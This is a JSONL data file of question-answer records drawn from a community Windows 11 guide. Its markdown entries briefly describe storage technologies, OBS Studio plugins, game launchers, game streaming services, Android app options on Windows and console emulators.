{"id": "gh_6c6a2f4216a8", "question": "How to: NVIDIA RTX IO", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n \n[NVIDIA RTX IO](https://developer.nvidia.com/rtx-io) is a suite of technologies that enables rapid GPU-based loading and asset decompression. NVIDIA RTX™ IO lets compressed data be delivered to GPU memory with minimal staging in system memory. The GPU is utilized for decompression using GDeflate at high throughput. The CPU is freed to perform other auxiliary tasks. The GDeflate compression format will be open source, enabling developers to create ports and tools.\nNVIDIA RTX IO. Image Credit: [NVIDIA](https://developer.nvidia.com/rtx-io)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521634"}
{"id": "gh_1f72fd2270e0", "question": "How to: AMD StoreMI", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[AMD StoreMI](https://www.amd.com/en/technologies/store-mi) is a powerful tool for PC enthusiasts that want to improve load times, boot times, file management, or system responsiveness. A StoreMI configuration simply mirrors your most-used files to an SSD of your choosing, leaving the original copy intact. The software seamlessly redirects Windows® and your applications to use the faster mirrored copy. Removing or disabling the SSD cache leaves all of your files on the hard drive, right where they started. Available on **AMD X570, PRO 565, B550, A520, 400 Series, X399, TRX40 or WRX80 motherboard.**\nAMD StoreMI. Image Credit: [AMD](https://www.amd.com/en/technologies/store-mi)\n\n  **Features:**\n\n    * Supports up to four StoreMI Cache Drives simultaneously\n    * SSD partition can be used as cache \n    * Supports HDD/SSD combos of any capacity\n    * Caching system mirrors your data to SSD for speedup\n    * All-new UI makes setup, monitoring, reversal a snap\n    * “Read only” algorithm enhances data integrity\n    * Automatically prioritizes most-used data to the SSD cache\n    * Ideal for accelerating apps and games on a large HDD", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521642"}
{"id": "gh_47ff33f39ae2", "question": "How to: Intel® RST", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Intel® Rapid Storage Technology (Intel® RST)](https://www.intel.com/content/www/us/en/download/15667/intel-rapid-storage-technology-intel-rst-user-interface-and-driver.html) is a Windows-based application that provides improved performance, reliability, and lower power consumption for supported systems equipped with Serial ATA (SATA) devices, Serial Attached SCSI (SAS) devices, and/or solid state drives (SSDs) to enable an optimal storage solution for desktop, mobile, and server platforms.\n\n**Intel RST Features:**\n\n   * System acceleration with Intel® Optane™ memory\n   * Configuration and maintenance of RAID 0/1/5/10", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521650"}
{"id": "gh_c824acd04f78", "question": "How to: Setting up OBS Studio", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n[OBS (Open Broadcaster Software)](https://obsproject.com/) is free and open source software for video recording and live streaming. Stream to Twitch, YouTube and many other providers or record your own videos with high quality H264 / AAC encoding. Starting with [OBS Studio version 28](https://projectobs.com/en/news/obs-studio-28-0/) it will feature 10-bit and HDR video encode support for [AV1](https://aomedia.org/av1-features/) and [HEVC](https://apps.apple.com/us/app/hevc/id768692338), improved AMD encoding on Windows, [NVIDIA RTX software](https://blogs.nvidia.com/blog/2022/08/31/in-the-nvidia-studio-august-31/) integration, a new default theme, and many other changes.\nOBS Studio\n**OBS Studio 29** adds [AV1 Support](https://en.wikipedia.org/wiki/AV1) for **Intel Arc & AMD GPUs**.\n\n**New features**\n\n * Added support for the AMD AV1 Encoder for RDNA3 GPUs. \n * Added support for the Intel AV1 Encoder for Arc GPUs. \n * Added support for the Intel HEVC Encoder.\n * Added an upward compressor filter.\n * Added a 3-band equalizer filter.\n * Added update channels for opting into receiving beta/release-candidate builds to Windows.\n### Useful OBS Studio 3rd party plugins and themes.\n \n  * **[OBS Studio Themes](https://obsproject.com/forum/resources/categories/themes.10/)**\n \n  * **[touch portal icon packs](https://www.touch-portal.com/assetsdb/show-all.php?cat=i)**\n \n  * **[Streamlink](https://streamlink.github.io/)** is a CLI utility which pipes video streams from various services into a video player, such as VLC.  \n\n  * **[Advanced Scene Switcher](https://github.com/WarmUpTill/SceneSwitcher)** plugin; an automated scene switcher.\n  * **[Audio Pan](https://github.com/norihiro/obs-audio-pan-filter)** plugin; control stereo pan of audio source.\n  * **[Browser](https://github.com/obsproject/obs-browser)** plugin; CEF-based OBS Studio browser plugin.\n  * **[Directory Watch Media](https://github.com/exeldro/obs-dir-watch-media)** plugin; filter you can add to media source to load the oldest or newest file in a directory.\n  * **[Downstream Keyer](https://github.com/exeldro/obs-downstream-keyer)** plugin; add a Downstream Keyer dock.\n  * **[Dynamic Delay](https://github.com/exeldro/obs-dynamic-delay)** plugin; filter for dynamic delaying a video source.\n  * **[Freeze Filter](https://github.com/exeldro/obs-freeze-filter)** plugin; freeze a source using a filter.\n  * **[Gradient Source](https://github.com/exeldro/obs-gradient-source)** plugin; adding gradients as a Soource.\n  * **[GStreamer](https://github.com/fzwoch/obs-gstreamer)** plugins; feed GStreamer launch pipelines into OBS Studio and use GStreamer encoder elements.\n  * **[Move Transition](https://github.com/exeldro/obs-move-transition)** plugin; move source to a new position during scene transition.\n  * **[Multi Source Effect](https://github.com/norihiro/obs-multisource-effect)** plugin; provides a custom effect to render multiple sources.\n  * **[NDI](https://github.com/Palakis/obs-ndi)** plugin; Network A/V via NewTek's NDI.\n  * **[NvFBC](https://gitlab.com/fzwoch/obs-nvfbc)** plugin; screen capture via NVIDIA FBC API. Requires [NvFBC patches for Nvidia drivers](https://github.com/keylase/nvidia-patch) for consumer grade GPUs.\n  * **[Soundboard](https://github.com/cg2121/obs-soundboard)** plugin; adds a soundboard dock.\n  * **[Source Copy](https://github.com/exeldro/obs-source-copy)** plugin; adds copy and paste options to the tools menu.\n  * **[Source Dock](https://github.com/exeldro/obs-source-dock)** plugin; create a Dock for a source, which lets you see audio levels, change volume and control media. \n  * **[Recursion Effect](https://github.com/exeldro/obs-recursion-effect)** plugin; recursion effect filter.\n  * **[Replay Source](https://github.com/exeldro/obs-replay-source)** plugin; slow motion replay async sources from memory.\n  * **[RGB Levels](https://github.com/petrifiedpenguin/obs-rgb-levels-filter)** plugin; simple filter to adjust RGB levels.\n  * **[RTSPServer](https://github.com/iamscottxu/obs-rtspserver/)** plugin; encode and publish to a RTSP stream.\n  * **[Scale to Sound](https://github.com/Qufyy/obs-scale-to-sound)** plugin; adds a filter which makes a source scale based on the audio levels of any audio source you choose\n  * **[Scene Collection Manager](https://github.com/exeldro/obs-scene-collection-manager)** plugin; filter, backup and restore Scene Collections.\n  * **[Scene Notes Dock](https://github.com/exeldro/obs-scene-notes-dock)** plugin; create a Dock for show", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521667"}
{"id": "gh_6b0e10616a43", "question": "How to: Sleep/Suspend Games", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Nyrna](https://github.com/Merrit/nyrna/releases) is a tool that let's you Suspend games and applications. Similar to the useful sleep/suspend function found in consoles like the Nintendo Switch and Sony PlayStation; suspend your game (and its resource usage) at any time, and resume whenever you wish at the push of a button.\n\n**Suspend Games**\n\n * Pause cutscenes to read the subtitles, examine the scene, answer the door, etc.\n * Pause games that can't normally be paused (single-player games like Dark Souls, Elden Ring, etc).\n * Suspend games whose pause screens keep the system running hot or playing unwanted music.\n * Suspend inbetween checkpoints (example: Hollow Knight).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521675"}
{"id": "gh_949997f1ddd0", "question": "How to: Heroic Games Launcher", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Heroic Games Launcher](https://heroicgameslauncher.com/) is an Open Source Game Launcher for Linux, Windows and MacOS (for both Native and Windows Games using Crossover). It supports launching games from the Epic Games Store and the GOG.com Store.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521681"}
{"id": "gh_d24f49a4a845", "question": "How to: Razor Cortex", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Razer Cortex](https://www.razer.com/cortex/launcher) is a video game library manager and launcher that lets you all your games across different platforms, including Steam, Origin, GOG Galaxy, and Ubisoft Connect.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521687"}
{"id": "gh_46f16e8cab8a", "question": "How to: Epic Games Store", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Epic Games Store](https://www.epicgames.com/store/) is a digital video game storefront for Microsoft Windows and macOS, operated by Epic Games.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521691"}
{"id": "gh_d85b4f2c0630", "question": "How to: Blizzard Battle.net", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Blizzard Battle.net](https://www.blizzard.com/apps/battle.net/desktop) is an internet-based online gaming, digital distribution, and digital rights management platform developed by Activision and Blizzard Entertainment. Battle.net is the launcher for World of Warcraft, Diablo III, StarCraft II, Hearthstone, Heroes of the Storm, Overwatch and Call of Duty.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521696"}
{"id": "gh_0c0940a870b9", "question": "How to: Ubisoft Connect", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Ubisoft Connect](https://ubisoftconnect.com/) is a digital distribution, digital rights management, multiplayer and communications service created by Ubisoft to provide an experience similar to the achievements/trophies offered by various other game companies.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521702"}
{"id": "gh_79a0648765d7", "question": "How to: Rockstar Games", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Rockstar Games Launcher](https://socialclub.rockstargames.com/rockstar-games-launcher) is a game launcher for downloading and playing the latest Rockstar Games PC titles.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521706"}
{"id": "gh_372e2eae5c8d", "question": "How to: GOG Galaxy", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[GOG Galaxy](https://www.gog.com/galaxy) is an application that lets you combine multiple game libraries into one place and connect with your friends across all gaming platforms, consoles included.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521711"}
{"id": "gh_a687b031ea04", "question": "How to: Itch.io Store", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Itch.io Store](https://itch.io/app) is an app that lets you effortlessly download and run games and software from itch.io. All of your downloads are kept in a single place and are automatically updated.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521715"}
{"id": "gh_2e546945b22a", "question": "How to: FFXIV Launcher", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n \n[FFXIV Launcher](https://github.com/goatcorp/FFXIVQuickLauncher) is a faster launcher for our favorite critically acclaimed MMO, with various available addons and enhancements to the game.\n\n **Features:**\n\n  * Auto-login.\n  * Fast patching.\n  * Discord Rich Presence.\n  * Fast in-game market board price checks.\n  * Chat filtering.\n  * Chat bridge to Discord.\n  * Discord notifications for duties, retainer sales, etc.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521721"}
{"id": "gh_7179dda472c0", "question": "How to: Game Streaming", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521725"}
{"id": "gh_3929e87e5452", "question": "How to: Cloud Game Streaming", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Xbox Cloud Gaming](https://www.xbox.com/en-US/xbox-game-pass/cloud-gaming) is Microsoft's cloud-based Xbox game-streaming technology **(currently in Beta)**. **Play games like Forza Horizon 4, Halo 5: Guardians, Gears of War 4, Sea of Thieves, Cuphead, Red Dead Redemption 2, and 100+ other games on your mobile device or Chrome web browser**. Xbox Cloud Gaming does require an **[Xbox Game Pass Ultimate](https://www.xbox.com/en-US/xbox-game-pass/cloud-gaming)** subscription.\n[Geforce NOW](https://www.nvidia.com/en-us/geforce-now/download/) is NVIDIA's Cloud Gaming Service.\n[Amazon Luna](https://www.amazon.com/luna/landing-page) is Amazon's Cloud Gaming Service. Amazon Luna is Compatible/Supported on a vartiey of [Devices and Browsers](https://www.amazon.com/gp/help/customer/display.html?nodeId=GUFHUSX8X324T4XE).\n[Shadow](https://shadow.tech/) is a fully-featured, cloud-based, high-end computer. It is the only remote service that offers performance capable of competing with a local PC. Available on Windows, macOS, Linux, Android/AndroidTV, and iOS/tvOS.\n[BlueStacks X](https://www.bluestacks.com/bluestacks-x.html) is a Cloud-Based Android Gaming Platform that let's you select a game to play from the 2 million+ games available either locally or stream to your PC from the cloud.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521733"}
{"id": "gh_8f96a7ddf91a", "question": "How to: Local Game Streaming", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Steam Remote Play Together](https://store.steampowered.com/remoteplay/#together) is a steam service that let's you share your Steam local multi-player games with friends over the internet, for free. Using Remote Play Together, one player owns and runs the game, then up to four players can join.\n\n[Steam Link app](https://store.steampowered.com/steamlink/about) is available free of charge, streaming your Steam PC games to phones, tablets, and TV.\n[PlayStation Remote Play](https://www.playstation.com/en-us/support/games/playstation-remote-play-on-pc-and-mac/) is a feature available on all PS4 and PS5 consoles that let's you control your PlayStation® console remotely wherever you have a high-speed internet connection.\n[Chiaki](https://git.sr.ht/~thestr4ng3r/chiaki) is a Free and Open Source Software Client for **PlayStation 4 and PlayStation 5 Remote Play** for Linux, FreeBSD, OpenBSD, Android, macOS, Windows, Nintendo Switch and potentially even more platforms.\n[Parsec](https://parsec.app/cloud-gaming) is a video game streaming platform, which offers a wide variety of games and genres to choose from and provides a high-quality and smooth gameplay. SParsec is developed in order to provide a high-quality smooth gameplay, same time to be free of all ads and in-game purchases.\n[Moonlight Game Streaming](https://moonlight-stream.org/) is a program that let you stream from your PC games over the Internet with no configuration required. Stream from almost any device, whether you're in another room or miles away from your gaming rig. [Sunshine](https://github.com/LizardByte/Sunshine) is a **Game stream host for Moonlight** that is a self-hosted, low latency, cloud gaming solution with support for AMD, Intel, and NVIDIA GPUs.\n[Greenlight](https://github.com/unknownskl/xbox-xcloud-client) is an open-source client for xCloud and xHome streaming made in Javascript and Typescript. The client is an application wrapper around [xbox-xcloud-player](https://github.com/unknownskl/xbox-xcloud-player). It runs on Linux, MacOS, Windows, and Steam Deck.\nGreenlight", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521744"}
{"id": "gh_f95ae7eafd04", "question": "How to: Android Games", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Getting started with Windows Subsystem for Android**\n\n   - Open the Amazon App store from this [link](http://aka.ms/AmazonAppstore).\n\n   - Click Install. It would download Amazon AppStore and Windows subsystem for Android.\n\n   - When done, you would see the Windows subsystem for Android on your app list, together with Amazon AppStore.\n\n  -  Open the Amazon AppStore, and sign in with your US-based Amazon Account on the screen that shows.\n\n   - Locate your App in the catalogue and click Install.\n**Windows Subsystem for Android Settings**\n\nThere are also a bunch of Android Settings you can customize as well, which are as under.\n\n - Files show the files which Apps download to the Device.\n\n - Subsystem Screen reader helps accessibility wise, like screen reading on in Android apps you plan to run.\n\n - Developer mode helps you to sideload an APK file manually using ADB.Checkout this [YouTube video](https://www.youtube.com/watch?v=2_LxsWa7JIg).\n \n - If the Subsystem is selected As needed, no resources are used in the Background, so as a result, apps open slowly. If a continuous option is selected, resources continue to be used in the Background, and Apps open quickly.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521752"}
{"id": "gh_bdc748b57765", "question": "How to: Amazon App Store", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Amazon App Store](https://apps.microsoft.com/store/detail/amazon-appstore/9NJHK44TTKSX) is an app store for Android-compatible platforms operated by Amazon.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521757"}
{"id": "gh_06abe1dc565a", "question": "How to: BlueStacks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[BlueStacks](https://www.bluestacks.com/download.html) is a the Fastest & Lightest Android App Player for PC.\n\n * [Getting started with BlueStacks 5](https://support.bluestacks.com/hc/en-us/sections/360012011331-Getting-started-with-BlueStacks-5)\n * [How to login to Google Play Store on BlueStacks 5](https://support.bluestacks.com/hc/en-us/articles/360059697231-How-to-login-to-Google-Play-Store-on-BlueStacks-5)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521762"}
{"id": "gh_299bb315b619", "question": "How to: Google Play Games for PC", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Google Play Games for PC (Beta)](https://play.google.com/googleplaygames)  is a platform that brings your Android games to PCs using high performance emulation with Android and Chrome OS cross-device play from a single codebase.\n\n * [Getting Started with Google Play Games for PC](https://developer.android.com/games/playgames/overview)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521766"}
{"id": "gh_363f465fcab1", "question": "How to: Aurora Store", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Aurora Store](https://gitlab.com/AuroraOSS/AuroraStore) is an alternate to Google's Play Store, with an elegant design, using Aurora you can download apps, update existing apps, search for apps, get details about in-app trackers, spoof your location and much more.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521771"}
{"id": "gh_ca81cdb11c47", "question": "How to: Magisk on WSA", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Magisk on WSA](https://github.com/LSPosed/MagiskOnWSALocal) is a tool that integrates Magisk root and Google Apps into WSA (Windows Subsystem for Android).\n\n * [Installing Magisk on WSA with Google Apps (Windows Subsystem for Android)](https://themagisk.com/magisk-on-wsa-with-google-apps-windows-subsystem-for-android/)\n\n**Features:**\n\n* Integrate Magisk and GApps in a few clicks within minutes.\n* Keep each build up to date.\n* Support both ARM64 and x64.\n* Supports all OpenGApps variants except for aroma (aroma does not support x86_64, please use super instead).\n* Remove Amazon Appstore.\n* Add device administration feature.\n* Unattended installation.\n* Automatically activates developers mode in Windows 11.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521777"}
{"id": "gh_bb676308028f", "question": "How to: Game Emulators", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Also checkout these subreddits for more great Game Emulators recommendations**\n  \n   - [r/emulation](https://www.reddit.com/r/emulation/)\n   - [r/emulations](https://www.reddit.com/r/emulators/)\n   - [r/RetroArch](https://www.reddit.com/r/RetroArch/)\n   - [r/DolphinEmulator](https://www.reddit.com/r/DolphinEmulator/)\n   - [r/Citra](https://www.reddit.com/r/Citra/)\n   - [r/cemu](https://www.reddit.com/r/cemu/)\n   - [r/yuzu](https://www.reddit.com/r/yuzu/)\n   - [r/OpenEmu](https://www.reddit.com/r/OpenEmu/)\n   - [r/MAME](https://www.reddit.com/r/MAME/)\n   - [r/EmuDev](https://www.reddit.com/r/EmuDev/)\n   - [r/Roms](https://www.reddit.com/r/Roms/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521783"}
{"id": "gh_964289bf4c07", "question": "How to: Nintendo GameCube & Wii", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Dolphin](https://dolphin-emu.org) is an emulator for two recent Nintendo video game consoles: the GameCube and the Wii. It allows PC gamers to enjoy games for these two consoles in full HD (1080p) with several enhancements: compatibility with all PC controllers, turbo speed, networked multiplayer, and even more.\n\n[PrimeHack](https://github.com/shiiion/dolphin) is a fork of Dolphin Emulator to bring modern Mouse and Keyboard controls, as well as Dual-Stick gamepad controls to the Metroid Prime Trilogy. It also offers many other features such as increased FoV and various new cheats. [Versions of Metroid Prime that are currently supported.](https://github.com/shiiion/dolphin/wiki/Frequently-Asked-Questions#what-versions-of-metroid-prime-are-supported)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521791"}
{"id": "gh_fc291036054c", "question": "How to: Nintendo Switch", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Ryujinx](https://ryujinx.org/) is an open-source Nintendo Switch emulator created by gdkchan and written in C#. This emulator aims at providing excellent accuracy and performance, a user-friendly interface, and consistent builds. \n\n[yuzu](https://yuzu-emu.org) is an experimental open-source emulator for the Nintendo Switch from the creators of Citra.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521796"}
{"id": "gh_70bc69ed475d", "question": "How to: Nintendo 64", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[m64p](https://m64p.github.io/) is a Nintendo 64 Emulator. It uses mupen64plus-gui, a brand new mupen64plus frontend written in Qt5. It supports all of the things you’d expect from a frontend (savestate management, pausing, screenshots). \n\n[simple64](https://github.com/simple64/simple64) is an emulator based on a heavily modified version of mupen64plus-core, and ParaLLEl RSP/RDP. It includes a GUI, netplay, controller configuration, and  more. *\n\nNintendo 3DS\n\n[Citra](https://citra-emu.org/) is an open-source emulator for the Nintendo 3DS capable of playing many of your favorite games.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521802"}
{"id": "gh_16bcfe3416c8", "question": "How to: Nintendo DS", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[DeSmuME](https://desmume.org/) is a Nintendo DS emulator.\n\n[melonDS](https://github.com/melonDS-emu/melonDS) is a tool that aims at providing fast and accurate Nintendo DS emulation. While it is still a work in progress, it has a pretty solid set of features.\n\n**Features:**\n\n    * Nearly complete core (CPU, video, audio, etc...)\n    * OpenGL renderer, 3D upscaling\n    * RTC, microphone, lid close/open\n    * Joystick support\n    * Savestates\n    * Various display position/sizing/rotations modes\n    * Work-in-progress Wi-Fi emulation for online connectivity and local multiplayer\n    * Experimental emulation of the Nintendo DSi", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521808"}
{"id": "gh_f5a76c209cd6", "question": "How to: Super Nintendo Entertainment System (SNES)", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Snes9x](https://www.snes9x.com/) is a portable, freeware Super Nintendo Entertainment System (SNES) emulator. \n\n[bsnes](https://github.com/bsnes-emu/bsnes) is a Super Nintendo (SNES) emulator focused on performance, features, and ease of use.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521812"}
{"id": "gh_ec37f4780040", "question": "How to: Nintendo Entertainment System", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Nestopia](https://github.com/0ldsk00l/nestopia) is a portable NES/Famicom emulator written in C++. \n\n[Mesen](https://github.com/SourMesen/Mesen2) is a multi-system emulator (NES, SNES, Game Boy and PC Engine) for Windows, Linux and macOS.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521817"}
{"id": "gh_ba27593f1269", "question": "How to: Game Boy Advance", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[mGBA](https://mgba.io/) is a new emulator for running Game Boy Advance games. It aims to be faster and more accurate than many existing Game Boy Advance emulators, as well as adding features that other emulators lack.\n\n[NanoBoyAdvance](https://github.com/nba-emu/NanoBoyAdvance) is a highly accurate Nintendo Game Boy Advance emulator.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521822"}
